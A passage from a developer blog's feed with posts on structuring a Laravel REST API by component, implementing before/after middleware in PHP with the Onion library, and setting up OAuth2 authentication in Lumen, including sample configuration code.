it look if all the Laravel framework code was in the same folder as your API code? That would make no sense, right? This is because the Laravel framework is merely infrastructure that enables you to rapidly iterate on your <i>business code</i> without having to write a lot of infrastructure code. If you are interested in such architectural topics I suggest you look into stuff like <a href="http://fideloper.com/hexagonal-architecture">Hexagonal Architecture</a> and <a href="https://domainlanguage.com/">Domain Driven Design</a>. </p> <p> To make matters even worse for us, in Traede, we have an app store. Basically it is a bunch of apps you can install in your account, i.e. they are <u>not part of the core product</u>. We realized we could divide our API into three parts: (I) the core business, (II) infrastructure and (III) extensions installable via app store. </p> <p> <img src="/img/traede-structure.png" /> </p> <p> So we decided our project structure should reflect the same. </p> <p> <img src="/img/old-new-api-structure.png" /> </p> <p> Above you see a comparison of how our project structure changed. On the left is the standard Laravel structure most of you are probably used to. In the past it contained all of our code: business code, infrastructure, extensions - everything! Now we have separated those concerns into separate namespaces. And the best part is that it is ridiculously easy to implement. In the <code>autoload</code> section of your <code>composer.json</code> set it up like so. </p> <div class="language-json highlighter-rouge"><pre class="highlight"><code><span class="err">//</span><span class="w"> </span><span class="err">...</span><span class="w"> </span><span class="s2">"psr-4"</span><span class="err">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"Apps\\"</span><span class="p">:</span><span class="w"> </span><span class="s2">"app-store/"</span><span class="p">,</span><span class="w"> </span><span class="nt">"Traede\\"</span><span class="p">:</span><span class="w"> </span><span class="s2">"traede/"</span><span class="p">,</span><span class="w"> </span><span class="nt">"Infrastructure\\"</span><span class="p">:</span><span class="w"> </span><span class="s2">"infrastructure/"</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="err">//</span><span class="w"> </span><span class="err">...</span><span class="w"> </span></code></pre> </div> <p> If you want tests to be run you will also have to add a testsuite to <code>phpunit.xml</code>. <a href="https://github.com/esbenp/larapi/blob/master/phpunit.xml#L12">See how here</a>. </p> <p> Now, if you are an attentive reader (as I am sure you are), you may have noticed that the <code>resources/</code> and <code>tests/</code> folders have disappeared from the project. There is a good reason for that which I will explain in the next section. </p> <h3 id="level-3-resource-folder-structure">Level 3: Resource folder structure</h3> <!-- Do not change the indention of the HTML here! it will break the rendering --> <div class="row"> <div class="col-md-4"> <img src="/img/bad-project-structure.png" /> </div> <div class="col-md-8"> <p style="margin-top:0"> What you see on the left is an example of how our code base grew at Traede. Laravel by default is organized such that the code is "grouped-by-type". So all the controllers are in a folder together, all the models are in a folder together, all the events are in a folder together etc. </p> <p> What often happened was that I would be working on let us say the "Products component" of our API. The files of interest can be described as below. </p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash">/ app / Http / Controllers .. / ProductController.php .. / Models .. Product.php ProductVariant.php ProductVariantPrice.php .. / Repositories .. ProductRepository.php ProductVariantRepository.php ProductVariantPriceRepository.php .. / Services .. ProductService.php VariantService.php ..</code></pre></figure> <p class="note" style="margin-bottom:0;"> <code>..</code> represents other files and folders. </p> </div> </div> <p> As you can imagine your files are spread very far from each other vertically in your project tree. I was not event able to take a screenshot with my product-component repositories and services in the same image. As I see it, this structure only makes sense if you "work on all the repositories right now" or "work on all the models right now". But you rarely do that, do you? </p> <p> Would it not be better if all the files were organized by component? E.g. all the product-oriented services, repositories, models, routes etc. in the same folder? </p> <!-- Do not change the indention of the HTML here! it will break the rendering --> <div class="row"> <div class="col-md-4"> <img src="/img/better-project-structure.png" /> </div> <div class="col-md-8"> <p style="margin-top:0"> As you can see we have divided the core product of Traede into 8 separate components. A component typically has these folders </p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash">/ Products / Controllers <span class="c"># We typically have a controller per</span> <span class="c"># resource, e.g. ProductController,</span> <span class="c"># TagController, VariantController etc.</span> / Events <span class="c"># All the events that can be raised by</span> <span class="c"># the component, e.g. ProductWasCreated,</span> <span class="c"># VariantPriceDeleted etc.</span> / Exceptions <span class="c"># All exceptions. We currently have about 20</span> <span class="c"># custom exceptions for products like</span> <span class="c"># DuplicateSkuException and</span> <span class="c"># BasePriceNotDefinedException</span> / Listeners <span class="c"># Listeners for events</span> / Models <span class="c"># Eloquent models: Product, Variant, Tag etc.</span> / Repositories <span class="c"># We typically have a repository per eloquent model</span> <span class="c"># ProductRepository, VariantRepository etc.</span> / Requests <span class="c"># HTTP requests for validation</span> / Services <span class="c"># A few larger classes that string together operations</span> <span class="c"># typically we make one per controller, like</span> <span class="c"># ProductController -&gt; ProductService</span> / Tests <span class="c"># All tests for the component</span> <span class="c"># Typically used to connect events and listeners.</span> ProductServiceProvider.php <span class="c"># All the routes for the component. Having distributed</span> <span class="c"># route files, makes them ALOT more clear when you</span> <span class="c"># have 100+ routes :-)</span> routes.php</code></pre></figure> </div> </div> <p> So this clears up what happened to the <code>tests/</code> folder of the root folder. We simply gave each component a folder to have its tests within. But what about the <code>resources/</code>? </p> <p> One of the powers of the <a href="https://github.com/esbenp/distributed-laravel">distributed laravel</a> package is that it can search for resource files in the new component structure. </p> <p> In our entities component we have a lot of email views for transactional emails. The system will simply look for a <code>resources/</code> folder within <code>traede/Entities/</code> an load it into Laravel as the normal resources folder is. </p> <p> Another example is that Laravel by default comes with a langugage file for validation rules saved in <code>resources/lang/en/validation.php</code>. We have a validation component in our infrastructure that contains custom validation rules etc. It looks like this. </p> <div class="language-bash highlighter-rouge"><pre class="highlight"><code>/ infrastructure .. <span class="c"># Other infrastructure components</span> / Validation / resources / en <span class="c"># The default validation translations</span> / validation.php <span class="c"># Loads custom validation rules</span> ValidationServiceProvider.php </code></pre> </div> <h2 id="getting-started">Getting started</h2> <p> Go to GitHub to see the <a href="https://github.com/esbenp/larapi">Larapi</a> example to see how the code is structured. If you want to implement this in an existing project you can use the service providers of <a href="https://github.com/esbenp/distributed-laravel">distributed-laravel</a> to load the components into Laravel. Browsing the Larapi code is best way to see how you should restructure. </p> <h2 id="conclusion">Conclusion</h2> <p> This structure is still very new for me, so I am still experimenting and I am sure somethings could be done better. You think so as well? Reach out on <a href="mailto:esbenspetersen@gmail.com">e-mail</a>, <a href="https://twitter.com/esbenp">twitter</a> or <a href="https://github.com/esbenp/larapi/issues">the Larapi repository</a> </p> Mon, 11 Apr 2016 17:04:00 +0200 http://esbenp.github.io/2016/04/11/modern-rest-api-laravel-part-1/ http://esbenp.github.io/2016/04/11/modern-rest-api-laravel-part-1/ A modern REST API in Laravel 5 Part 0: Introduction <h2 id="welcome-to-the-api-of-your-dreams">Welcome to the API of your dreams</h2> <p> Bonjour. Welcome to this series on how to build a cool REST API in Laravel 5. APIs are all around us. Most of us have tried integrating a third party into our app by consuming their API. Whether it is <a href="https://developer.github.com/v3/issues/#create-an-issue">creating issues in GitHub</a>, <a href="https://developers.facebook.com/docs/facebook-login">authenticating using Facebook</a> or <a href="(https://docs.intercom.io/intercom-s-key-features-explained/tracking-user-data-in-intercom)">tracking users in Intercom</a> we utilize the power of APIs to enhance our own app. </p> <p> What many developers do not realize is that building your own app using an API is not only super useful - it is also relatively easy to get started. If your business is powered by your own API it becomes easier building and maintaining multiple clients (e.g. a desktop app, a smartphone app, tablet app etc.) since they all utilize the same business platform (the API). </p> <p style="text-align:center"> <img src="/img/api-desktop-smartphone-tablet-clients.png" alt="A REST api can serve multiple clients, like a smartphone-, tablet- or desktop client" /> </p> <p> With an API it also becomes more enjoyable to write those cool javascript clients using the <a href="https://facebook.github.io/react/">latest</a>, <a href="https://angular.io/">sexy</a> <a href="http://cycle.js.org/">framework</a>. Just be ware of <a href="https://medium.com/@ericclemmons/javascript-fatigue-48d4011b6fc4#.jdaxtfcdd">javascript</a> <a href="https://segment.com/blog/the-deep-roots-of-js-fatigue/">fatigue</a> ;-). </p> <h3 id="anywho-this-is-not-an-introduction-to-rest-apis">Anywho, this is <u>NOT</u> an introduction to REST APIs</h3> <p> There are already plenty of <a href="https://geemus.gitbooks.io/http-api-design/content/en/index.html">good resources on how to get introduced into the world of APIs</a>. Therefore this will not be another introduction into what a resource is, or how URLs should be formatted. </p> <p> For a beginners guide I definitely recommend the short e-book <a href="https://leanpub.com/build-apis-you-wont-hate">"Build APIs You Won't Hate"</a> by <a href="https://twitter.com/philsturgeon">Phil Sturgeon</a> </p> <h2 id="so-what-are-we-going-to-do">So what are we going to do?</h2> <p> This 5-part series will go over implementation details of specific challenges that I have faced in developing the <a href="http://traede.com">Traede API</a> </p> <h3><a href="/2016/04/11/modern-rest-api-laravel-part-1/">Part 1: A scalable structure</a></h3> <p> The first part is about how we can structure our API, so that it will not blow up in our face once it grows in complexity. We will take a stab at structure on three different levels: </p> <ol> <li>Application flow pattern</li> <li>Project folder structure</li> <li>Resource folder structure</li> </ol> <p> <strong><a href="/2016/04/11/modern-rest-api-laravel-part-1/">Go to part 1</a></strong> </p> <h3><a href="/2016/04/15/modern-rest-api-laravel-part-2/">Part 2: Creating resources with controls</a></h3> <p> The second part will be building resources. Building resources in itself is pretty easy, however the fun part becomes giving our consumers controls like filters, pagination and nested relationship controls. </p> <p> We will try to implement some of <a href="http://optimus.rocks">my own Laravel API libraries</a> in order to achieve this. </p> <p> <strong><a href="/2016/04/15/modern-rest-api-laravel-part-2/">Go to part 2</a></strong> </p> <h3 id="part-3-error-handling">Part 3: Error handling</h3> <p> I will take you through some of the steps we have taken to increase the effictiveness of our error handling. This includes writing a custom exception handler that logs exceptions in <a href="https://getsentry.com/">Sentry - an online exception tracker service</a>. </p> <p> <strong><a href="/2017/01/14/modern-rest-api-laravel-part-3/">Go to part 3</a></strong> </p> <h3 id="part-4-authentication">Part 4: Authentication</h3> <p> Almost any API needs some sort of authentication. I have already written a bit about <a href="http://esbenp.github.io/2015/05/26/lumen-web-api-oauth-2-authentication/">how OAuth can be implemented in the Lumen framework</a>. </p> <p> In this series we will also be using OAuth for authentication, however we will be using Laravel's own implementation of The PHP League's OAuth Server: <a target="_blank" href="https://laravel.com/docs/master/passport">Laravel Passport</a>. </p> <p> <strong><a href="/2017/03/19/modern-rest-api-laravel-part-4/">Go to part 4</a></strong> </p> <h3 id="part-5-inbound--outbound-webhooks">Part 5: Inbound &amp; outbound webhooks</h3> <p> A really kick ass API can integrate with other APIs. This can often happen through webhooks. We will look at how you can handle input from other APIs as well as how you can enable consumers to integrate with your API using outbound webooks. </p> <p> <i>Coming soon...</i> </p> Mon, 11 Apr 2016 17:04:00 +0200 http://esbenp.github.io/2016/04/11/modern-rest-api-laravel-part-0/ http://esbenp.github.io/2016/04/11/modern-rest-api-laravel-part-0/ Implementing before/after middleware in PHP <p> Middleware is a crazy popular mechanism in coding these days. <a href="http://laravel.com/docs/5.1/middleware">Laravel</a> has implemented it for its router, giving you the possibility to run actions on a request before and after it is executed. Likewise the web application framework for Node <a href="http://expressjs.com/guide/using-middleware.html">Express.js</a> has also a middleware implementation with middleware libraries for different things for example <a href="https://www.npmjs.com/package/serve-static">serving static files</a>, <a href="https://www.npmjs.com/package/morgan">log requests</a> etc. </p> <h2 id="how-middleware-is-implemented-in-laravel">How middleware is implemented in Laravel</h2> <p> Whenever a request is made to a Laravel application it is run through a pipeline of middleware. A demonstration is in order. Queue my amazing Photoshop skills. </p> <p><img src="/img/middleware.jpg" alt="How middleware is implemented in Laravel" /></p> <p> Imagine you are making a request <code>GET /users</code> to an API. The actual action of GETting users from the database is displayed as the white circle in the middle. But before this can happen we want to run some middleware. As pictured there are two types of middleware: (1) before and (2) after. Before middleware is run against the request before the execution of the actual action it requests (duh). Examples of this could be checking if the user is authenticated and authorized, if the CSRF token sent with the request is valid etc. </p> <p> Once the before middleware has run, it is time for the actual action. We get an array of users from the database to send back to the client. But before the response reaches the client we want to do some post-action work on it. This is after middleware. Examples could be adding CORS headers, adding cookies, or caching the result. If we implemented caching after middleware, we could then implement some before middleware to check for a cached version of the resource before actually getting it from database. </p> <h2 id="so-it-is-a-router-thing">So it is a router thing?</h2> <p> Not at all! The concept is really versatile if you think about it, and it can be implemented in many different scenarios. </p> <h3 id="use-case-an-uploader">Use case: an uploader</h3> <p> At <a href="http://traede.com">Traede</a> we are currently implementing middleware in our uploader functionality. Our users upload many product pictures, user profile pictures etc. All these we store in our CDN hosted by <a href="http://cloudinary.com">Cloudinary</a>. But before we actually upload the picture to Cloudinary we do some quick work, and after the image has been uploaded we do some clean up. </p> <p><img src="/img/middleware2.png" alt="Uploader middleware in Traede" /></p> <p> This is how our uploader looks in Traede. The user drops a file in the drop area and it displays a small box with a thumbnail and the status of the image. The thumbnail is created using thumbnail middleware. Our middleware pipeline runs like this </p> <ol> <li><strong>Before middleware:</strong> generate thumbnail</li> <li><strong>Actual action:</strong> upload image to Cloudinary</li> <li><strong>After middleware:</strong> clean up temporary files</li> </ol> <p><img src="/img/middleware3.jpg" alt="Diagram of uploader middleware mechanism in Traede" /></p> <p> There are probably many more middleware classes to be implemented in our uploader. But, for now, these are the ones we use. This was just a simple demonstration of how epic middleware can obviously be. </p> <h2 id="gotcha-now-gimme-middleware">Gotcha! Now gimme middleware!</h2> <p> So, how do you actually implement a general middleware solution? Introducing: <a href="http://github.com/esbenp/onion">Onion</a>. A small standalone library, with a clever name might I add, that will give you the power to implement middleware in any situation. </p> <h3 id="some-terminology-of-the-middleware-onion">Some terminology of the Middleware Onion</h3> <ul> <li>The actual action (e.g. upload to Cloudinary) is called the core of the onion</li> <li>Middleware classes are called layers (Onion layers - clever, no?)</li> </ul> <p><img src="/img/middleware4.jpg" alt="The middleware onion" /></p> <h3 id="a-quick-example">A quick example</h3> <p> The below example has two different middleware layers: a before and an after. The object we pass through our pipeline is a simple object with an array. Each actor that interacts with the object will log itself in the array. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="k">class</span> <span class="nc">BeforeLayer</span> <span class="k">implements</span> <span class="nx">LayerInterface</span> <span class="p">{</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">peel</span><span class="p">(</span><span class="nv">$object</span><span class="p">,</span> <span class="nx">Closure</span> <span class="nv">$next</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$object</span><span class="o">-&gt;</span><span class="na">runs</span><span class="p">[]</span> <span class="o">=</span> <span class="s1">'before'</span><span class="p">;</span> <span class="k">return</span> <span class="nv">$next</span><span class="p">(</span><span class="nv">$object</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="k">class</span> <span class="nc">AfterLayer</span> <span class="k">implements</span> <span class="nx">LayerInterface</span> <span class="p">{</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">peel</span><span class="p">(</span><span class="nv">$object</span><span class="p">,</span> <span class="nx">Closure</span> <span class="nv">$next</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$response</span> <span class="o">=</span> <span class="nv">$next</span><span class="p">(</span><span class="nv">$object</span><span class="p">);</span> <span class="nv">$object</span><span class="o">-&gt;</span><span class="na">runs</span><span class="p">[]</span> <span class="o">=</span> <span class="s1">'after'</span><span class="p">;</span> <span class="k">return</span> <span class="nv">$response</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="nv">$object</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">StdClass</span><span class="p">;</span> <span class="nv">$object</span><span class="o">-&gt;</span><span class="na">runs</span> <span class="o">=</span> <span class="p">[];</span> <span class="nv">$onion</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Onion</span><span class="p">;</span> <span class="nv">$end</span> <span class="o">=</span> <span class="nv">$onion</span><span class="o">-&gt;</span><span class="na">layer</span><span class="p">([</span> <span class="k">new</span> <span class="nx">AfterLayer</span><span class="p">(),</span> <span class="k">new</span> <span class="nx">BeforeLayer</span><span class="p">(),</span> <span class="k">new</span> <span class="nx">AfterLayer</span><span class="p">(),</span> <span class="k">new</span> <span class="nx">BeforeLayer</span><span class="p">()</span> <span class="p">])</span> <span class="o">-&gt;</span><span class="na">peel</span><span class="p">(</span><span class="nv">$object</span><span class="p">,</span> <span class="k">function</span><span class="p">(</span><span class="nv">$object</span><span class="p">){</span> <span class="nv">$object</span><span class="o">-&gt;</span><span class="na">runs</span><span class="p">[]</span> <span class="o">=</span> <span class="s1">'core'</span><span class="p">;</span> <span class="k">return</span> <span class="nv">$object</span><span class="p">;</span> <span class="p">});</span> <span class="nb">var_dump</span><span class="p">(</span><span class="nv">$end</span><span class="p">);</span> </code></pre> </div> <p> The result of this will be </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="o">..</span><span class="nx">object</span><span class="p">(</span><span class="k">stdClass</span><span class="p">)</span><span class="c1">#161 (1) { </span> <span class="p">[</span><span class="s2">"runs"</span><span class="p">]</span><span class="o">=&gt;</span> <span class="k">array</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span> <span class="p">{</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">=&gt;</span> <span class="nx">string</span><span class="p">(</span><span class="mi">6</span><span class="p">)</span> <span class="s2">"before"</span> <span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">=&gt;</span> <span class="nx">string</span><span class="p">(</span><span class="mi">6</span><span class="p">)</span> <span class="s2">"before"</span> <span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="o">=&gt;</span> <span class="nx">string</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span> <span class="s2">"core"</span> <span class="p">[</span><span class="mi">3</span><span class="p">]</span><span class="o">=&gt;</span> <span class="nx">string</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span> <span class="s2">"after"</span> <span class="p">[</span><span class="mi">4</span><span class="p">]</span><span class="o">=&gt;</span> <span class="nx">string</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span> <span class="s2">"after"</span> <span class="p">}</span> <span class="p">}</span> </code></pre> </div> <p> As you can see all the before middleware will run before the core, and likewise all the after middleware will run after. As you have probably noticed it does not matter in which order we add the layers to the onion. So how do we actually define what to run before and what to run after? </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="k">class</span> <span class="nc">Layer</span> <span class="k">implements</span> <span class="nx">LayerInterface</span> <span class="p">{</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">peel</span><span class="p">(</span><span class="nv">$object</span><span class="p">,</span> <span class="nx">Closure</span> <span class="nv">$next</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// Everything run before the execution of </span> <span class="c1">// $next, can be considered before middleware </span> <span class="nv">$response</span> <span class="o">=</span> <span class="nv">$next</span><span class="p">(</span><span class="nv">$object</span><span class="p">);</span> <span class="c1">// Everything run after the execution of </span> <span class="c1">// $next, can be considered after middleware </span> <span class="k">return</span> <span class="nv">$response</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> </code></pre> </div> <p> The function <code>$next</code> we pass to all layers is the function that will pass the object down through our pipeline. All actions that are run before <code>$next</code> in a layer class will be run before the core function, and is therefore before middelware. Likewise, whatever is done after <code>$next</code> is next middleware. Take a look at the layers we previously used in our example. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="k">class</span> <span class="nc">BeforeLayer</span> <span class="k">implements</span> <span class="nx">LayerInterface</span> <span class="p">{</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">peel</span><span class="p">(</span><span class="nv">$object</span><span class="p">,</span> <span class="nx">Closure</span> <span class="nv">$next</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$object</span><span class="o">-&gt;</span><span class="na">runs</span><span class="p">[]</span> <span class="o">=</span> <span class="s1">'before'</span><span class="p">;</span> <span class="k">return</span> <span class="nv">$next</span><span class="p">(</span><span class="nv">$object</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="k">class</span> <span class="nc">AfterLayer</span> <span class="k">implements</span> <span class="nx">LayerInterface</span> <span class="p">{</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">peel</span><span class="p">(</span><span class="nv">$object</span><span class="p">,</span> <span class="nx">Closure</span> <span class="nv">$next</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$response</span> <span class="o">=</span> <span class="nv">$next</span><span class="p">(</span><span class="nv">$object</span><span class="p">);</span> <span class="nv">$object</span><span class="o">-&gt;</span><span class="na">runs</span><span class="p">[]</span> <span class="o">=</span> <span class="s1">'after'</span><span class="p">;</span> <span class="k">return</span> <span class="nv">$response</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> </code></pre> </div> <h2 id="and-thats-a-wrap">And that’s a wrap</h2> <p> That is it for now folks. Go to <a href="http://github.com/esbenp/onion">Onion's github repo</a> to get started middlewaring your world. Have fun! </p> Fri, 31 Jul 2015 12:00:00 +0200 http://esbenp.github.io/2015/07/31/implementing-before-after-middleware/ http://esbenp.github.io/2015/07/31/implementing-before-after-middleware/ Building a web app with Lumen web API and OAuth2 authentication <p><i> Note: some additions to the app.php config file and the proxy class were added on 22nd of June 2015 in response to breaking changes in the Lumen framework and with the release of Guzzle 6. </i></p> <h2 id="introduction">Introduction</h2> <p> <a href="http://lumen.laravel.com">Lumen</a> was recently released as a micro-framework brother for <a href="http://laravel.com">Laravel</a>. It immediately caught my attention as we use Laravel for writing our REST API at <a href="http://traede.com">Traede</a>. Our client is written in javascript and we therefore only use Laravel for the API. Lumen therefore seemed interesting as the intention is using it for writing speedy APIs. </p> <p> I quickly started looking at Lumen as a potential replacement for Laravel. One thing I quickly discovered though was that Laravel packages are not directly compatible with Lumen. Therefore a small bridge is often needed to close the gap. We use OAuth2 for API authentication and therefore the first bridge I wrote for Lumen was one for the excellent OAuth2 package <a href="https://github.com/lucadegasperi/oauth2-server-laravel">oauth2-server-laravel</a> by <a href="https://github.com/lucadegasperi">Luca Degasperi</a>. </p> <p> This post serves as a quick introduction on how to set it up. A README can also be found in the repository: <a href="https://github.com/esbenp/oauth2-server-lumen">esbenp/oauth2-server-lumen</a>. At the same time I will demonstrate how tokens can be managed by a javascript client using <a href="https://github.com/esbenp/jquery-oauth">esbenp/jquery-oauth</a> </p> <h2 id="installation">Installation</h2> <p> I assume you already have an installation of Lumen. First of all require the package using composer. </p> <div class="language-bash highlighter-rouge"><pre class="highlight"><code>composer require optimus/oauth2-server-lumen 0.1.<span class="k">*</span> </code></pre> </div> <h3 id="registering-service-providers">Registering service providers</h3> <p> Next, register the service providers. In your <code>bootstrap/app.php</code> add the following registration along side other service providers. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="c1">// ... Other service providers </span><span class="nv">$app</span><span class="o">-&gt;</span><span class="na">register</span><span class="p">(</span><span class="s1">'LucaDegasperi\OAuth2Server\Storage\FluentStorageServiceProvider'</span><span class="p">);</span> <span class="nv">$app</span><span class="o">-&gt;</span><span class="na">register</span><span class="p">(</span><span class="s1">'Optimus\OAuth2Server\OAuth2ServerServiceProvider'</span><span class="p">);</span> </code></pre> </div> <p> <code>Optimus\OAuth2Server\OAuth2ServerServiceProvider</code> is a replacement for the original server provider provided by lucadegasperi's package. The original package tries to register route filters which are not supported in Lumen and should be replaced with route middleware. </p> <p> Additionally, the original service provider registers assets to be published using <code>php artisan vendor:publish</code>. Package asset publishing is not available in Lumen, we therefore have to copy it manually. </p> <h3 id="creating-configuration-file">Creating configuration file</h3> <p> Inside <code>Optimus\OAuth2Server\OAuth2ServerServiceProvider</code> a config file is registered into the application using <code>$this-&gt;app-&gt;configure("oauth2");</code>. Inside Lumen's application class the container looks for the oauth config file inside a config folder that can be configured using <code>Laravel\Lumen\Application::useConfigPath</code>, however if you have not configured a folder the default is <code>{projectRoot}/config</code>. This folder <u>DOES NOT EXIST</u> by default, so we have to create it. </p> <p> When you have created the folder, copy <code>vendor/lucadegasperi/oauth2-server-laravel/config/oauth2.php</code> into it. Your project structure should now look like this. </p> <div class="language-bash highlighter-rouge"><pre class="highlight"><code>app/ bootstrap/ config/ &lt;--- the folder we just created - oauth2.php &lt;--- config file copied from vendor folder database/ public/ ... etc </code></pre> </div> <h3 id="registering-middleware">Registering middleware</h3> <p> Lastly, we will register the route middleware which will replace the original route filters. In <code>app/bootstrap.php</code> insert the following. These will be used to protecting our API routes from unauthorized users. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="nv">$app</span><span class="o">-&gt;</span><span class="na">middleware</span><span class="p">([</span> <span class="s1">'LucaDegasperi\OAuth2Server\Middleware\OAuthExceptionHandlerMiddleware'</span> <span class="p">]);</span> <span class="nv">$app</span><span class="o">-&gt;</span><span class="na">routeMiddleware</span><span class="p">([</span> <span class="s1">'check-authorization-params'</span> <span class="o">=&gt;</span> <span class="s1">'Optimus\OAuth2Server\Middleware\CheckAuthCodeRequestMiddleware'</span><span class="p">,</span> <span class="s1">'csrf'</span> <span class="o">=&gt;</span> <span class="s1">'Laravel\Lumen\Http\Middleware\VerifyCsrfToken'</span><span class="p">,</span> <span class="s1">'oauth'</span> <span class="o">=&gt;</span> <span class="s1">'Optimus\OAuth2Server\Middleware\OAuthMiddleware'</span><span class="p">,</span> <span class="s1">'oauth-owner'</span> <span class="o">=&gt;</span> <span class="s1">'Optimus\OAuth2Server\Middleware\OAuthOwnerMiddleware'</span> <span class="p">]);</span> </code></pre> </div> <h3 id="migrating-oauth-database-tables">Migrating OAuth database tables</h3> <p> This step is unfortunately very hackish. If anyone knows a better way to do this I will be very happy to hear from you! The problem is we cannot rollback the migrations when doing this. </p> <ol> <li>First we have to temporarily enable Facades and make a config alias.</li> <li>Second we migrate straight out of the vendor folder.</li> </ol> <p> To setup the config alias and enabling facades go to <code>bootstrap/app.php</code> and insert the following code. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="c1">// It is recommended to remove ALL these lines after the migrations have run. </span><span class="nb">class_alias</span><span class="p">(</span><span class="s1">'Illuminate\Support\Facades\Config'</span><span class="p">,</span> <span class="s1">'Config'</span><span class="p">);</span> <span class="nv">$app</span><span class="o">-&gt;</span><span class="na">withFacades</span><span class="p">();</span> </code></pre> </div> <p> Now run the migrations. </p> <div class="language-bash highlighter-rouge"><pre class="highlight"><code>php artisan migrate --path<span class="o">=</span>vendor/lucadegasperi/oauth2-server-laravel/migrations </code></pre> </div> <p> I highly recommended removing the class_alias and facade enabling after the migrations have run. </p> <h2 id="setting-up-an-api">Setting up an API</h2> <p> Our OAuth2 server is now installed and configured. Let us look into an example on how to use it to authenticate an API. </p> <h3 id="configuring-oauth-grant-types">Configuring OAuth grant types</h3> <p> We have to configure OAuth and tell what grant types we want to support in our API. Here, we are going to support the resource owner credentials grant and the refresh token grant. The resource owner credentials grant means requesting an access token using login and password. Open up <code>config/oauth2.php</code> and <u>replace</u> the <code>grant_types</code> key with the following code. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="s1">'grant_types'</span> <span class="o">=&gt;</span> <span class="p">[</span> <span class="s1">'password'</span> <span class="o">=&gt;</span> <span class="p">[</span> <span class="s1">'class'</span> <span class="o">=&gt;</span> <span class="s1">'\League\OAuth2\Server\Grant\PasswordGrant'</span><span class="p">,</span> <span class="s1">'callback'</span> <span class="o">=&gt;</span> <span class="k">function</span><span class="p">(</span><span class="nv">$email</span><span class="p">,</span> <span class="nv">$password</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$authManager</span> <span class="o">=</span> <span class="nx">app</span><span class="p">()[</span><span class="s1">'auth'</span><span class="p">];</span> <span class="k">if</span> <span class="p">(</span><span class="nx">app</span><span class="p">()[</span><span class="s2">"auth"</span><span class="p">]</span><span class="o">-&gt;</span><span class="na">once</span><span class="p">([</span> <span class="s2">"email"</span> <span class="o">=&gt;</span> <span class="nv">$email</span><span class="p">,</span> <span class="s2">"password"</span> <span class="o">=&gt;</span> <span class="nv">$password</span> <span class="p">]))</span> <span class="p">{</span> <span class="k">return</span> <span class="nv">$authManager</span><span class="o">-&gt;</span><span class="na">user</span><span class="p">()</span><span class="o">-&gt;</span><span class="na">id</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="k">return</span> <span class="kc">false</span><span class="p">;</span> <span class="p">}</span> <span class="p">},</span> <span class="s1">'access_token_ttl'</span> <span class="o">=&gt;</span> <span class="mi">3600</span> <span class="p">],</span> <span class="s1">'refresh_token'</span> <span class="o">=&gt;</span> <span class="p">[</span> <span class="s1">'class'</span> <span class="o">=&gt;</span> <span class="s1">'\League\OAuth2\Server\Grant\RefreshTokenGrant'</span><span class="p">,</span> <span class="s1">'access_token_ttl'</span> <span class="o">=&gt;</span> <span class="mi">3600</span><span class="p">,</span> <span class="s1">'refresh_token_ttl'</span> <span class="o">=&gt;</span> <span class="mi">36000</span> <span class="p">]</span> <span class="p">]</span> </code></pre> </div> <h3 id="create-an-oauth-client">Create an OAuth client</h3> <p> We have to create a client in the database. I usually do this using a database seeder. Before we do that let us create a config file that will contain our client id and secret. In production it is recommended to do this as environment variables rather than a config file. </p> <p> Create a config file <code>config/secrets.php</code>. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="k">return</span> <span class="p">[</span> <span class="s1">'client_id'</span> <span class="o">=&gt;</span> <span class="mi">1</span><span class="p">,</span> <span class="s1">'client_secret'</span> <span class="o">=&gt;</span> <span class="s1">'gKYG75sw'</span> <span class="p">];</span> <span class="cp">?&gt;</span> </code></pre> </div> <p> ... also create an app config file if you do not already have one <code>config/app.php</code>. Put in the url of your app. Also put in a 12, 32 or 64 character random string as app key. <u>This is important! Otherwise the encrypter will throw an exception later on.</u> </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="k">return</span> <span class="p">[</span> <span class="s1">'url'</span> <span class="o">=&gt;</span> <span class="s1">'http://oauth-tutorial.dev'</span><span class="p">,</span> <span class="s1">'key'</span> <span class="o">=&gt;</span> <span class="s1">'U&lt;CdJu~T&amp;.g/kR-NX55h]HfB+bb,b7Y*'</span><span class="p">,</span> <span class="s1">'cipher'</span> <span class="o">=&gt;</span> <span class="s1">'AES-256-CBC'</span> <span class="p">];</span> <span 